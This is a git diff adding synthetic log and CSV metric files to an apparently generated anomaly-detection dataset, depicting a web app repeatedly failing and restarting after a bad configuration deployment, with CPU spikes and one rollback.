+++ b/anom_dataset/scenario_14/anom_14_24.log @@ -0,0 +1,71 @@ +Jul 14 10:00:05 web-app[2251]: GET /api/v1/user/profile status=200 OK +Jul 14 10:00:22 web-app[2251]: GET /api/v1/user/profile status=200 OK +Jul 14 10:00:32 web-app[2251]: GET /api/v1/user/profile status=200 OK +Jul 14 10:00:37 web-app[2251]: GET /api/v1/user/profile status=200 OK +Jul 14 10:00:56 web-app[2251]: GET /api/v1/user/profile status=200 OK +Jul 14 10:01:02 web-app[2251]: GET /api/v1/user/profile status=200 OK +Jul 14 10:01:07 web-app[2251]: GET /api/v1/user/profile status=200 OK +Jul 14 10:01:23 web-app[2251]: GET /api/v1/user/profile status=200 OK +Jul 14 10:01:39 web-app[2251]: GET /api/v1/user/profile status=200 OK +Jul 14 10:01:44 web-app[2251]: GET /api/v1/user/profile status=200 OK +Jul 14 10:02:02 web-app[2251]: GET /api/v1/user/profile status=200 OK +Jul 14 10:02:21 web-app[2251]: GET /api/v1/user/profile status=200 OK +Jul 14 10:02:30 config-mgmt[8891]: INFO Deploying new configuration for web-app +Jul 14 10:02:30 web-app[2251]: INFO Configuration updated. Reloading application. +Jul 14 10:02:32 web-app[2251]: ERROR Invalid configuration: 'database.url' is missing or incorrect. +Jul 14 10:02:32 web-app[2251]: CRITICAL Application startup failed due to configuration error. +Jul 14 10:02:42 systemd[1]: Started web-app.service. +Jul 14 10:02:44 web-app[2255]: ERROR Invalid configuration: 'database.url' is missing or incorrect. +Jul 14 10:02:44 web-app[2255]: CRITICAL Application startup failed due to configuration error. +Jul 14 10:02:47 systemd[1]: web-app.service: Main process exited, code=exited, status=1/FAILURE +Jul 14 10:02:47 systemd[1]: web-app.service: Failed with result 'exit-code'. +Jul 14 10:03:06 systemd[1]: Started web-app.service. +Jul 14 10:03:08 web-app[2255]: ERROR Invalid configuration: 'database.url' is missing or incorrect. +Jul 14 10:03:08 web-app[2255]: CRITICAL Application startup failed due to configuration error. +Jul 14 10:03:11 systemd[1]: web-app.service: Main process exited, code=exited, status=1/FAILURE +Jul 14 10:03:11 systemd[1]: web-app.service: Failed with result 'exit-code'. +Jul 14 10:03:40 systemd[1]: Started web-app.service. +Jul 14 10:03:42 web-app[2255]: ERROR Invalid configuration: 'database.url' is missing or incorrect. +Jul 14 10:03:42 web-app[2255]: CRITICAL Application startup failed due to configuration error. +Jul 14 10:03:45 systemd[1]: web-app.service: Main process exited, code=exited, status=1/FAILURE +Jul 14 10:03:45 systemd[1]: web-app.service: Failed with result 'exit-code'. +Jul 14 10:04:08 systemd[1]: Started web-app.service. +Jul 14 10:04:10 web-app[2255]: ERROR Invalid configuration: 'database.url' is missing or incorrect. +Jul 14 10:04:10 web-app[2255]: CRITICAL Application startup failed due to configuration error. +Jul 14 10:04:13 systemd[1]: web-app.service: Main process exited, code=exited, status=1/FAILURE +Jul 14 10:04:13 systemd[1]: web-app.service: Failed with result 'exit-code'. +Jul 14 10:04:42 systemd[1]: Started web-app.service. +Jul 14 10:04:44 web-app[2255]: ERROR Invalid configuration: 'database.url' is missing or incorrect. +Jul 14 10:04:44 web-app[2255]: CRITICAL Application startup failed due to configuration error. +Jul 14 10:04:47 systemd[1]: web-app.service: Main process exited, code=exited, status=1/FAILURE +Jul 14 10:04:47 systemd[1]: web-app.service: Failed with result 'exit-code'. +Jul 14 10:05:14 systemd[1]: Started web-app.service. +Jul 14 10:05:16 web-app[2255]: ERROR Invalid configuration: 'database.url' is missing or incorrect. +Jul 14 10:05:16 web-app[2255]: CRITICAL Application startup failed due to configuration error. +Jul 14 10:05:19 systemd[1]: web-app.service: Main process exited, code=exited, status=1/FAILURE +Jul 14 10:05:19 systemd[1]: web-app.service: Failed with result 'exit-code'. +Jul 14 10:05:41 systemd[1]: Started web-app.service. +Jul 14 10:05:43 web-app[2255]: ERROR Invalid configuration: 'database.url' is missing or incorrect. +Jul 14 10:05:43 web-app[2255]: CRITICAL Application startup failed due to configuration error. +Jul 14 10:05:46 systemd[1]: web-app.service: Main process exited, code=exited, status=1/FAILURE +Jul 14 10:05:46 systemd[1]: web-app.service: Failed with result 'exit-code'. +Jul 14 10:06:04 systemd[1]: Started web-app.service. +Jul 14 10:06:06 web-app[2255]: ERROR Invalid configuration: 'database.url' is missing or incorrect. +Jul 14 10:06:06 web-app[2255]: CRITICAL Application startup failed due to configuration error. +Jul 14 10:06:09 systemd[1]: web-app.service: Main process exited, code=exited, status=1/FAILURE +Jul 14 10:06:09 systemd[1]: web-app.service: Failed with result 'exit-code'. +Jul 14 10:06:30 systemd[1]: Started web-app.service. +Jul 14 10:06:32 web-app[2255]: ERROR Invalid configuration: 'database.url' is missing or incorrect. +Jul 14 10:06:32 web-app[2255]: CRITICAL Application startup failed due to configuration error. +Jul 14 10:06:35 systemd[1]: web-app.service: Main process exited, code=exited, status=1/FAILURE +Jul 14 10:06:35 systemd[1]: web-app.service: Failed with result 'exit-code'. +Jul 14 10:06:55 systemd[1]: Started web-app.service. +Jul 14 10:06:57 web-app[2255]: ERROR Invalid configuration: 'database.url' is missing or incorrect. +Jul 14 10:06:57 web-app[2255]: CRITICAL Application startup failed due to configuration error. +Jul 14 10:07:00 systemd[1]: web-app.service: Main process exited, code=exited, status=1/FAILURE +Jul 14 10:07:00 systemd[1]: web-app.service: Failed with result 'exit-code'. +Jul 14 10:07:20 systemd[1]: Started web-app.service. +Jul 14 10:07:22 web-app[2255]: ERROR Invalid configuration: 'database.url' is missing or incorrect. +Jul 14 10:07:22 web-app[2255]: CRITICAL Application startup failed due to configuration error. +Jul 14 10:07:25 systemd[1]: web-app.service: Main process exited, code=exited, status=1/FAILURE +Jul 14 10:07:25 systemd[1]: web-app.service: Failed with result 'exit-code'. diff --git a/anom_dataset/scenario_14/anom_14_25.csv b/anom_dataset/scenario_14/anom_14_25.csv new file mode 100644 index 0000000000000000000000000000000000000000..cb3628a70e3ac1ef895e5fa52cac1a56456119d9 --- /dev/null +++ b/anom_dataset/scenario_14/anom_14_25.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-14T10:00:00Z,14.7,35.5,24.54,1.19,0.78 +2025-07-14T10:00:05Z,15.06,39.57,34.73,1.15,1.04 +2025-07-14T10:00:10Z,17.28,42.54,36.5,1.04,1.11 +2025-07-14T10:00:15Z,19.95,41.86,36.89,0.96,1.24 +2025-07-14T10:00:20Z,13.52,38.24,33.85,0.96,1.13 +2025-07-14T10:00:25Z,16.53,36.04,38.92,0.83,1.2 +2025-07-14T10:00:30Z,11.74,39.31,31.8,1.44,0.76 +2025-07-14T10:00:35Z,12.96,35.24,33.01,1.3,0.86 +2025-07-14T10:00:40Z,14.14,44.09,36.73,0.96,0.91 +2025-07-14T10:00:45Z,17.96,37.9,20.21,1.1,0.86 +2025-07-14T10:00:50Z,18.92,41.96,38.94,1.1,1.0 +2025-07-14T10:00:55Z,19.52,41.49,21.28,1.19,0.88 +2025-07-14T10:01:00Z,16.56,44.16,20.03,1.06,1.27 +2025-07-14T10:01:05Z,12.27,39.38,32.79,1.08,1.17 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/api/v2/user/profile status=200 OK +Jul 14 10:00:00 systemd[1]: Starting daily clean up activities... +Jul 14 10:00:15 web-app[3150]: INFO POST /api/v2/user/action status=201 Created +Jul 14 10:00:30 web-app[3150]: INFO GET /api/v2/user/profile status=200 OK +Jul 14 10:00:45 web-app[3150]: INFO POST /api/v2/user/action status=201 Created +Jul 14 10:01:00 web-app[3150]: INFO GET /api/v2/user/profile status=200 OK +Jul 14 10:01:15 web-app[3150]: INFO POST /api/v2/user/action status=201 Created +Jul 14 10:01:15 systemd[1]: Starting daily clean up activities... +Jul 14 10:01:30 web-app[3150]: INFO GET /api/v2/user/profile status=200 OK +Jul 14 10:01:45 web-app[3150]: INFO POST /api/v2/user/action status=201 Created +Jul 14 10:02:00 web-app[3150]: INFO GET /api/v2/user/profile status=200 OK +Jul 14 10:02:15 web-app[3150]: INFO POST /api/v2/user/action status=201 Created +Jul 14 10:02:28 deploy-script[8912]: INFO Deploying new configuration to web-app... +Jul 14 10:02:29 systemd[1]: Stopping web-app.service... +Jul 14 10:02:30 systemd[1]: Stopped web-app.service. +Jul 14 10:02:30 systemd[1]: Starting web-app.service... +Jul 14 10:02:35 web-app[3258]: INFO Starting web-app version 2.1.3... +Jul 14 10:02:35 web-app[3258]: ERROR Invalid configuration: 'database.url' is missing or malformed. +Jul 14 10:02:35 web-app[3258]: CRITICAL Unhandled error during startup, shutting down. +Jul 14 10:02:40 systemd[1]: web-app.service: Main process exited, code=exited, status=1/FAILURE +Jul 14 10:02:40 systemd[1]: web-app.service: Failed with result 'exit-code'. +Jul 14 10:03:20 systemd[1]: web-app.service: Scheduled restart job, restart counter is at 5. +Jul 14 10:03:30 systemd[1]: Starting web-app.service... +Jul 14 10:03:35 web-app[3258]: INFO Starting web-app version 2.1.3... +Jul 14 10:03:35 web-app[3258]: ERROR Invalid configuration: 'database.url' is missing or malformed. +Jul 14 10:03:35 web-app[3258]: CRITICAL Unhandled error during startup, shutting down. +Jul 14 10:03:40 systemd[1]: web-app.service: Main process exited, code=exited, status=1/FAILURE +Jul 14 10:03:40 systemd[1]: web-app.service: Failed with result 'exit-code'. +Jul 14 10:04:20 systemd[1]: web-app.service: Scheduled restart job, restart counter is at 5. +Jul 14 10:04:30 systemd[1]: Starting web-app.service... +Jul 14 10:04:35 web-app[3258]: INFO Starting web-app version 2.1.3... +Jul 14 10:04:35 web-app[3258]: ERROR Invalid configuration: 'database.url' is missing or malformed. +Jul 14 10:04:35 web-app[3258]: CRITICAL Unhandled error during startup, shutting down. +Jul 14 10:04:40 systemd[1]: web-app.service: Main process exited, code=exited, status=1/FAILURE +Jul 14 10:04:40 systemd[1]: web-app.service: Failed with result 'exit-code'. +Jul 14 10:05:20 systemd[1]: web-app.service: Scheduled restart job, restart counter is at 5. +Jul 14 10:05:30 systemd[1]: Starting web-app.service... +Jul 14 10:05:35 web-app[3258]: INFO Starting web-app version 2.1.3... +Jul 14 10:05:35 web-app[3258]: ERROR Invalid configuration: 'database.url' is missing or malformed. +Jul 14 10:05:35 web-app[3258]: CRITICAL Unhandled error during startup, shutting down. +Jul 14 10:05:40 systemd[1]: web-app.service: Main process exited, code=exited, status=1/FAILURE +Jul 14 10:05:40 systemd[1]: web-app.service: Failed with result 'exit-code'. +Jul 14 10:06:20 systemd[1]: web-app.service: Scheduled restart job, restart counter is at 5. +Jul 14 10:06:30 systemd[1]: Starting web-app.service... +Jul 14 10:06:35 web-app[3258]: INFO Starting web-app version 2.1.3... +Jul 14 10:06:35 web-app[3258]: ERROR Invalid configuration: 'database.url' is missing or malformed. +Jul 14 10:06:35 web-app[3258]: CRITICAL Unhandled error during startup, shutting down. +Jul 14 10:06:40 systemd[1]: web-app.service: Main process exited, code=exited, status=1/FAILURE +Jul 14 10:06:40 systemd[1]: web-app.service: Failed with result 'exit-code'. +Jul 14 10:07:20 systemd[1]: web-app.service: Scheduled restart job, restart counter is at 5. diff --git a/anom_dataset/scenario_14/anom_14_26.csv b/anom_dataset/scenario_14/anom_14_26.csv new file mode 100644 index 0000000000000000000000000000000000000000..01d9fa9d6d930e5c3b9efa391fbfbbee15a2b22a --- /dev/null +++ b/anom_dataset/scenario_14/anom_14_26.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-14T14:00:00Z,17.0,43.68,22.97,0.69,0.81 +2025-07-14T14:00:05Z,5.2,47.58,26.79,1.18,0.87 +2025-07-14T14:00:10Z,18.99,50.1,33.99,1.91,1.93 +2025-07-14T14:00:15Z,11.15,51.7,32.75,1.97,1.0 +2025-07-14T14:00:20Z,13.37,44.38,40.74,1.56,0.91 +2025-07-14T14:00:25Z,12.39,49.12,21.59,1.18,1.41 +2025-07-14T14:00:30Z,19.0,38.8,18.56,1.71,1.32 +2025-07-14T14:00:35Z,13.84,45.27,24.56,1.59,1.28 +2025-07-14T14:00:40Z,11.45,42.9,29.39,1.75,1.41 +2025-07-14T14:00:45Z,17.02,54.6,45.02,1.66,1.34 +2025-07-14T14:00:50Z,14.46,43.98,24.16,1.41,1.02 +2025-07-14T14:00:55Z,16.2,45.91,26.47,1.35,0.48 +2025-07-14T14:01:00Z,10.38,44.78,31.14,1.13,1.23 +2025-07-14T14:01:05Z,11.3,36.84,32.3,1.26,1.22 +2025-07-14T14:01:10Z,14.77,43.74,27.9,0.93,1.46 +2025-07-14T14:01:15Z,17.2,50.41,22.64,1.52,1.31 +2025-07-14T14:01:20Z,8.98,39.11,38.17,1.27,1.27 +2025-07-14T14:01:25Z,15.25,44.69,19.77,1.32,1.27 +2025-07-14T14:01:30Z,9.39,48.73,23.8,1.38,1.25 +2025-07-14T14:01:35Z,18.4,40.69,21.57,1.45,0.77 +2025-07-14T14:01:40Z,11.49,46.7,37.91,2.12,0.72 +2025-07-14T14:01:45Z,13.09,46.61,27.92,1.42,1.14 +2025-07-14T14:01:50Z,14.82,46.56,23.93,1.37,1.55 +2025-07-14T14:01:55Z,13.11,45.67,26.42,1.29,0.39 +2025-07-14T14:02:00Z,17.41,53.79,29.23,1.56,1.54 +2025-07-14T14:02:05Z,18.29,50.24,33.82,1.1,1.08 +2025-07-14T14:02:10Z,12.93,35.93,34.1,1.47,1.1 +2025-07-14T14:02:15Z,14.08,45.32,27.91,0.97,1.0 +2025-07-14T14:02:20Z,13.82,45.81,27.01,1.8,0.91 +2025-07-14T14:02:25Z,14.83,41.49,41.39,1.33,0.98 +2025-07-14T14:02:30Z,76.96,66.54,50.98,0.06,0.03 +2025-07-14T14:02:35Z,80.31,74.47,66.75,0.05,0.09 +2025-07-14T14:02:40Z,99.16,66.88,46.91,0.09,0.1 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0000000000000000000000000000000000000000..2f76f62f8735bbb9fc2c499092c84252535cdb12 --- /dev/null +++ b/anom_dataset/scenario_14/anom_14_26.log @@ -0,0 +1,57 @@ +Jul 14 14:00:00 web-app[3456]: INFO GET /api/v1/health status=200 OK +Jul 14 14:00:00 systemd[1]: Starting daily user clean up activities... +Jul 14 14:00:20 web-app[3456]: INFO GET /api/v1/health status=200 OK +Jul 14 14:00:35 systemd[1]: Starting daily user clean up activities... +Jul 14 14:00:40 web-app[3456]: INFO GET /api/v1/health status=200 OK +Jul 14 14:01:00 web-app[3456]: INFO GET /api/v1/health status=200 OK +Jul 14 14:01:10 systemd[1]: Starting daily user clean up activities... +Jul 14 14:01:20 web-app[3456]: INFO GET /api/v1/health status=200 OK +Jul 14 14:01:40 web-app[3456]: INFO GET /api/v1/health status=200 OK +Jul 14 14:01:45 systemd[1]: Starting daily user clean up activities... +Jul 14 14:02:00 web-app[3456]: INFO GET /api/v1/health status=200 OK +Jul 14 14:02:20 web-app[3456]: INFO GET /api/v1/health status=200 OK +Jul 14 14:02:20 systemd[1]: Starting daily user clean up activities... +Jul 14 14:02:30 deploy-bot[9988]: INFO Deploying new configuration for web-app version v1.2.1... +Jul 14 14:02:30 web-app[3456]: INFO Configuration updated. Reloading service. +Jul 14 14:02:35 web-app[3456]: CRITICAL Unhandled exception while processing request for /api/v1/data +Jul 14 14:02:40 web-app[3456]: WARN Service is running in a degraded state due to configuration error. +Jul 14 14:02:45 web-app[3456]: ERROR Failed to connect to database on db.internal:5432 - Invalid configuration: 'password' +Jul 14 14:02:50 web-app[3456]: CRITICAL Unhandled exception while processing request for /api/v1/data +Jul 14 14:02:55 web-app[3456]: WARN Service is running in a degraded state due to configuration error. +Jul 14 14:03:00 web-app[3456]: ERROR Failed to connect to database on db.internal:5432 - Invalid configuration: 'password' +Jul 14 14:03:05 web-app[3456]: CRITICAL Unhandled exception while processing request for /api/v1/data +Jul 14 14:03:10 web-app[3456]: WARN Service is running in a degraded state due to configuration error. +Jul 14 14:03:15 web-app[3456]: ERROR Failed to connect to database on db.internal:5432 - Invalid configuration: 'password' +Jul 14 14:03:20 web-app[3456]: CRITICAL Unhandled exception while processing request for /api/v1/data +Jul 14 14:03:25 web-app[3456]: WARN Service is running in a degraded state due to configuration error. +Jul 14 14:03:30 web-app[3456]: ERROR Failed to connect to database on db.internal:5432 - Invalid configuration: 'password' +Jul 14 14:03:35 web-app[3456]: CRITICAL Unhandled exception while processing request for /api/v1/data +Jul 14 14:03:40 web-app[3456]: WARN Service is running in a degraded state due to configuration error. +Jul 14 14:03:45 web-app[3456]: ERROR Failed to connect to database on db.internal:5432 - Invalid configuration: 'password' +Jul 14 14:03:50 web-app[3456]: CRITICAL Unhandled exception while processing request for /api/v1/data +Jul 14 14:03:55 web-app[3456]: WARN Service is running in a degraded state due to configuration error. +Jul 14 14:04:00 web-app[3456]: ERROR Failed to connect to database on db.internal:5432 - Invalid configuration: 'password' +Jul 14 14:04:05 web-app[3456]: CRITICAL Unhandled exception while processing request for /api/v1/data +Jul 14 14:04:10 web-app[3456]: WARN Service is running in a degraded state due to configuration error. +Jul 14 14:04:15 web-app[3456]: ERROR Failed to connect to database on db.internal:5432 - Invalid configuration: 'password' +Jul 14 14:04:20 web-app[3456]: CRITICAL Unhandled exception while processing request for /api/v1/data +Jul 14 14:04:25 web-app[3456]: WARN Service is running in a degraded state due to configuration error. +Jul 14 14:04:30 web-app[3456]: ERROR Failed to connect to database on db.internal:5432 - Invalid configuration: 'password' +Jul 14 14:04:35 web-app[3456]: CRITICAL Unhandled exception while processing request for /api/v1/data +Jul 14 14:04:40 web-app[3456]: WARN Service is running in a degraded state due to configuration error. +Jul 14 14:04:45 web-app[3456]: ERROR Failed to connect to database on db.internal:5432 - Invalid configuration: 'password' +Jul 14 14:04:50 web-app[3456]: CRITICAL Unhandled exception while processing request for /api/v1/data +Jul 14 14:04:55 web-app[3456]: WARN Service is running in a degraded state due to configuration error. +Jul 14 14:05:00 deploy-bot[9988]: INFO Rolling back configuration for web-app to previous version v1.2.0... +Jul 14 14:05:00 web-app[3456]: INFO Configuration updated. Reloading service. +Jul 14 14:05:00 web-app[3456]: INFO Service successfully connected to database. +Jul 14 14:05:15 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 14 14:05:20 web-app[3456]: INFO GET /api/v1/health status=200 OK +Jul 14 14:05:40 web-app[3456]: INFO GET /api/v1/health status=200 OK +Jul 14 14:06:00 web-app[3456]: INFO GET /api/v1/health status=200 OK +Jul 14 14:06:00 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 14 14:06:20 web-app[3456]: INFO GET /api/v1/health status=200 OK +Jul 14 14:06:40 web-app[3456]: INFO GET /api/v1/health status=200 OK +Jul 14 14:06:45 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 14 14:07:00 web-app[3456]: INFO GET /api/v1/health status=200 OK +Jul 14 14:07:20 web-app[3456]: INFO GET /api/v1/health status=200 OK diff --git a/anom_dataset/scenario_14/anom_14_27.csv b/anom_dataset/scenario_14/anom_14_27.csv new file mode 100644 index 0000000000000000000000000000000000000000..14be9426a68c4aecf5c4ffaa9ea17989f15cfecf --- /dev/null +++ b/anom_dataset/scenario_14/anom_14_27.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T14:00:00Z,15.993428306022466,40.29123264804412,33.128336738825034,1.2882546578132232,0.9038693028482345 +2025-07-02T14:00:05Z,14.723471397657631,42.90593497159867,25.714212217918586,0.7128275697641121,1.1065477826005157 +2025-07-02T14:00:10Z,16.295377076201383,37.89384071836794,24.64553750969444,1.232632750430992,0.7782479703086285 +2025-07-02T14:00:15Z,18.04605971281605,39.01701356020669,32.41236207621593,1.0020466122039173,0.8803423444197883 +2025-07-02T14:00:20Z,14.531693250553328,38.823675540603524,28.882686073370746,0.8036982697904098,0.9380287983422225 +2025-07-02T14:00:25Z,14.531726086101639,35.60945515560364,33.57000247046046,1.0924206948526543,0.7197559056228328 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@@ -0,0 +1,135 @@ +Jul 02 14:00:00 systemd[1]: Starting daily user session cleanup... +Jul 02 14:00:05 web-app[2150]: GET /api/v1/health status=200 OK +Jul 02 14:00:10 web-app[2150]: GET /api/v1/health status=200 OK +Jul 02 14:00:15 web-app[2150]: GET /api/v1/health status=200 OK +Jul 02 14:00:20 web-app[2150]: GET /api/v1/health status=200 OK +Jul 02 14:00:25 systemd[1]: Starting daily user session cleanup... +Jul 02 14:00:30 web-app[2150]: GET /api/v1/health status=200 OK +Jul 02 14:00:35 CRON[4815]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 14:00:40 web-app[2150]: GET /api/v1/health status=200 OK +Jul 02 14:00:45 web-app[2150]: GET /api/v1/health status=200 OK +Jul 02 14:00:50 systemd[1]: Starting daily user session cleanup... +Jul 02 14:00:55 web-app[2150]: GET /api/v1/health status=200 OK +Jul 02 14:01:00 web-app[2150]: GET /api/v1/health status=200 OK +Jul 02 14:01:05 web-app[2150]: GET /api/v1/health status=200 OK +Jul 02 14:01:10 CRON[4815]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 14:01:15 systemd[1]: Starting daily user session cleanup... +Jul 02 14:01:20 web-app[2150]: GET /api/v1/health status=200 OK +Jul 02 14:01:25 web-app[2150]: GET /api/v1/health status=200 OK +Jul 02 14:01:30 web-app[2150]: GET /api/v1/health status=200 OK +Jul 02 14:01:35 web-app[2150]: GET /api/v1/health status=200 OK +Jul 02 14:01:40 systemd[1]: Starting daily user session cleanup... +Jul 02 14:01:45 CRON[4815]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 14:01:50 web-app[2150]: GET /api/v1/health status=200 OK +Jul 02 14:01:55 web-app[2150]: GET /api/v1/health status=200 OK +Jul 02 14:02:00 web-app[2150]: GET /api/v1/health status=200 OK +Jul 02 14:02:05 systemd[1]: Starting daily user session cleanup... +Jul 02 14:02:10 web-app[2150]: GET /api/v1/health status=200 OK +Jul 02 14:02:15 web-app[2150]: GET /api/v1/health status=200 OK +Jul 02 14:02:20 CRON[4815]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 14:02:25 web-app[2150]: GET /api/v1/health status=200 OK +Jul 02 14:02:30 systemd[1]: Started web-app.service. +Jul 02 14:02:30 web-app[2150]: INFO Starting application v2.3.1... +Jul 02 14:02:35 web-app[2150]: ERROR ConfigParseError: missing required option 'port' in section 'server' +Jul 02 14:02:35 web-app[2150]: FATAL Invalid configuration. Shutting down. +Jul 02 14:02:40 systemd[1]: web-app.service: Main process exited, code=exited, status=1/FAILURE +Jul 02 14:02:45 systemd[1]: web-app.service: Failed with result 'exit-code'. +Jul 02 14:02:45 systemd[1]: web-app.service: Service RestartSec=5s expired, scheduling restart. +Jul 02 14:02:50 systemd[1]: Started web-app.service. +Jul 02 14:02:50 web-app[2150]: INFO Starting application v2.3.1... +Jul 02 14:02:55 web-app[2150]: ERROR ConfigParseError: missing required option 'port' in section 'server' +Jul 02 14:02:55 web-app[2150]: FATAL Invalid configuration. Shutting down. +Jul 02 14:03:00 systemd[1]: web-app.service: Main process exited, code=exited, status=1/FAILURE +Jul 02 14:03:05 systemd[1]: web-app.service: Failed with result 'exit-code'. +Jul 02 14:03:05 systemd[1]: web-app.service: Service RestartSec=5s expired, scheduling restart. +Jul 02 14:03:10 systemd[1]: Started web-app.service. +Jul 02 14:03:10 web-app[2150]: INFO Starting application v2.3.1... +Jul 02 14:03:15 web-app[2150]: ERROR ConfigParseError: missing required option 'port' in section 'server' +Jul 02 14:03:15 web-app[2150]: FATAL Invalid configuration. Shutting down. +Jul 02 14:03:20 systemd[1]: web-app.service: Main process exited, code=exited, status=1/FAILURE +Jul 02 14:03:25 systemd[1]: web-app.service: Failed with result 'exit-code'. +Jul 02 14:03:25 systemd[1]: web-app.service: Service RestartSec=5s expired, scheduling restart. +Jul 02 14:03:30 systemd[1]: Started web-app.service. +Jul 02 14:03:30 web-app[2150]: INFO Starting application v2.3.1... +Jul 02 14:03:35 web-app[2150]: ERROR ConfigParseError: missing required option 'port' in section 'server' +Jul 02 14:03:35 web-app[2150]: FATAL Invalid configuration. Shutting down. +Jul 02 14:03:40 systemd[1]: web-app.service: Main process exited, code=exited, status=1/FAILURE +Jul 02 14:03:45 systemd[1]: web-app.service: Failed with result 'exit-code'. +Jul 02 14:03:45 systemd[1]: web-app.service: Service RestartSec=5s expired, scheduling restart. +Jul 02 14:03:50 systemd[1]: Started web-app.service. +Jul 02 14:03:50 web-app[2150]: INFO Starting application v2.3.1... +Jul 02 14:03:55 web-app[2150]: ERROR ConfigParseError: missing required option 'port' in section 'server' +Jul 02 14:03:55 web-app[2150]: FATAL Invalid configuration. Shutting down. +Jul 02 14:04:00 systemd[1]: web-app.service: Main process exited, code=exited, status=1/FAILURE +Jul 02 14:04:05 systemd[1]: web-app.service: Failed with result 'exit-code'. +Jul 02 14:04:05 systemd[1]: web-app.service: Service RestartSec=5s expired, scheduling restart. +Jul 02 14:04:10 systemd[1]: Started web-app.service. +Jul 02 14:04:10 web-app[2150]: INFO Starting application v2.3.1... +Jul 02 14:04:15 web-app[2150]: ERROR ConfigParseError: missing required option 'port' in section 'server' +Jul 02 14:04:15 web-app[2150]: FATAL Invalid configuration. Shutting down. +Jul 02 14:04:20 systemd[1]: web-app.service: Main process exited, code=exited, status=1/FAILURE +Jul 02 14:04:25 systemd[1]: web-app.service: Failed with result 'exit-code'. +Jul 02 14:04:25 systemd[1]: web-app.service: Service RestartSec=5s expired, scheduling restart. +Jul 02 14:04:30 systemd[1]: Started web-app.service. +Jul 02 14:04:30 web-app[2150]: INFO Starting application v2.3.1... +Jul 02 14:04:35 web-app[2150]: ERROR ConfigParseError: missing required option 'port' in section 'server' +Jul 02 14:04:35 web-app[2150]: FATAL Invalid configuration. Shutting down. +Jul 02 14:04:40 systemd[1]: web-app.service: Main process exited, code=exited, status=1/FAILURE +Jul 02 14:04:45 systemd[1]: web-app.service: Failed with result 'exit-code'. +Jul 02 14:04:45 systemd[1]: web-app.service: Service RestartSec=5s expired, scheduling restart. +Jul 02 14:04:50 systemd[1]: Started web-app.service. +Jul 02 14:04:50 web-app[2150]: INFO Starting application v2.3.1... +Jul 02 14:04:55 web-app[2150]: ERROR ConfigParseError: missing required option 'port' in section 'server' +Jul 02 14:04:55 web-app[2150]: FATAL Invalid configuration. Shutting down. +Jul 02 14:05:00 systemd[1]: web-app.service: Main process exited, code=exited, status=1/FAILURE +Jul 02 14:05:05 systemd[1]: web-app.service: Failed with result 'exit-code'. +Jul 02 14:05:05 systemd[1]: web-app.service: Service RestartSec=5s expired, scheduling restart. +Jul 02 14:05:10 systemd[1]: Started web-app.service. +Jul 02 14:05:10 web-app[2150]: INFO Starting application v2.3.1... +Jul 02 14:05:15 web-app[2150]: ERROR ConfigParseError: missing required option 'port' in section 'server' +Jul 02 14:05:15 web-app[2150]: FATAL Invalid configuration. Shutting down. +Jul 02 14:05:20 systemd[1]: web-app.service: Main process exited, code=exited, status=1/FAILURE +Jul 02 14:05:25 systemd[1]: web-app.service: Failed with result 'exit-code'. +Jul 02 14:05:25 systemd[1]: web-app.service: Service RestartSec=5s expired, scheduling restart. +Jul 02 14:05:30 systemd[1]: Started web-app.service. +Jul 02 14:05:30 web-app[2150]: INFO Starting application v2.3.1... +Jul 02 14:05:35 web-app[2150]: ERROR ConfigParseError: missing required option 'port' in section 'server' +Jul 02 14:05:35 web-app[2150]: FATAL Invalid configuration. Shutting down. +Jul 02 14:05:40 systemd[1]: web-app.service: Main process exited, code=exited, status=1/FAILURE +Jul 02 14:05:45 systemd[1]: web-app.service: Failed with result 'exit-code'. +Jul 02 14:05:45 systemd[1]: web-app.service: Service RestartSec=5s expired, scheduling restart. +Jul 02 14:05:50 systemd[1]: Started web-app.service. +Jul 02 14:05:50 web-app[2150]: INFO Starting application v2.3.1... +Jul 02 14:05:55 web-app[2150]: ERROR ConfigParseError: missing required option 'port' in section 'server' +Jul 02 14:05:55 web-app[2150]: FATAL Invalid configuration. Shutting down. +Jul 02 14:06:00 systemd[1]: web-app.service: Main process exited, code=exited, status=1/FAILURE +Jul 02 14:06:05 systemd[1]: web-app.service: Failed with result 'exit-code'. +Jul 02 14:06:05 systemd[1]: web-app.service: Service RestartSec=5s expired, scheduling restart. +Jul 02 14:06:10 systemd[1]: Started web-app.service. +Jul 02 14:06:10 web-app[2150]: INFO Starting application v2.3.1... +Jul 02 14:06:15 web-app[2150]: ERROR ConfigParseError: missing required option 'port' in section 'server' +Jul 02 14:06:15 web-app[2150]: FATAL Invalid configuration. Shutting down. +Jul 02 14:06:20 systemd[1]: web-app.service: Main process exited, code=exited, status=1/FAILURE +Jul 02 14:06:25 systemd[1]: web-app.service: Failed with result 'exit-code'. +Jul 02 14:06:25 systemd[1]: web-app.service: Service RestartSec=5s expired, scheduling restart. +Jul 02 14:06:30 systemd[1]: Started web-app.service. +Jul 02 14:06:30 web-app[2150]: INFO Starting application v2.3.1... +Jul 02 14:06:35 web-app[2150]: ERROR ConfigParseError: missing required option 'port' in section 'server' +Jul 02 14:06:35 web-app[2150]: FATAL Invalid configuration. Shutting down. +Jul 02 14:06:40 systemd[1]: web-app.service: Main process exited, code=exited, status=1/FAILURE +Jul 02 14:06:45 systemd[1]: web-app.service: Failed with result 'exit-code'. +Jul 02 14:06:45 systemd[1]: web-app.service: Service RestartSec=5s expired, scheduling restart. +Jul 02 14:06:50 systemd[1]: Started web-app.service. +Jul 02 14:06:50 web-app[2150]: INFO Starting application v2.3.1... +Jul 02 14:06:55 web-app[2150]: ERROR ConfigParseError: missing required option 'port' in section 'server' +Jul 02 14:06:55 web-app[2150]: FATAL Invalid configuration. Shutting down. +Jul 02 14:07:00 systemd[1]: web-app.service: Main process exited, code=exited, status=1/FAILURE +Jul 02 14:07:05 systemd[1]: web-app.service: Failed with result 'exit-code'. +Jul 02 